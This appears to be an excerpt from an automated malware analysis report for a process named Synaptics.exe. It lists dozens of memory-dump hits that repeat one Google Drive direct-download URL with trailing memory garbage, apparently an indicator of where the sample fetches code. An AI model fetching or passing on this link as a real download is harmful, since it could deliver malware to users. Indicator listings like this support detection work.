Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..p
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.I
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com.
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.g
Source: Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.gF
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.goog
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.n(TDo
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/u
Source: Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0%zn
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0Iqk
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download15
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1Mvo
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1u
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007181000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1z
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000071B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005415000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3Dvn
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3Jtje
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3r
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F1FA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5Hrh
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5p
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6Lsl6
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6bpo
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6t
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000005.00000002.3771674892.0000000000777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8$ro
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8HIh
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8p
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9LNl7
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9t
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000005.00000002.3771674892.0000000000777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;%un
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;ILk
